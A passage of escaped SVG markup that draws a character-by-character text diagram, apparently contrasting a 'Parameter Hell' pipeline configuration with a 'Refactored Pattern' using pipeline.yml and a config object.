style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='420' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='452' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='356' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='452' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='260' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='276' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='356' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='372' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='436' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='260' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='356' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='372' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='452' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='260' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='356' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='372' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='452' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='260' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='356' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='372' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='420' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='164' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='260' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='276' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='308' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='356' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='372' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='436' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='260' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='356' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='372' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='420' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='436' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='276' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='308' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='356' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='372' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='420' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='212' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='308' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='436' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='116' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='212' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='308' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='308' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='308' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='212' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='308' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='212' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='308' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='420' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='436' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='20' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='420' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='436' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='452' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='420' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='436' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='452' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='420' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='452' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='452' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='420' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='436' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='452' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='420' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='452' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='420' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='436' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='276' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='372' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='452' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='372' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='436' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='276' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='372' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='452' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='164' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='260' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='356' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='372' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='436' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='452' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='356' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='372' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='420' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='436' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='452' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='164' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='356' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='372' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='260' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='276' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='356' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='372' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='420' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='452' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='356' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='180' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='260' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='356' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='372' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='420' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='436' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='452' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='84' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='260' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='356' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='452' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' 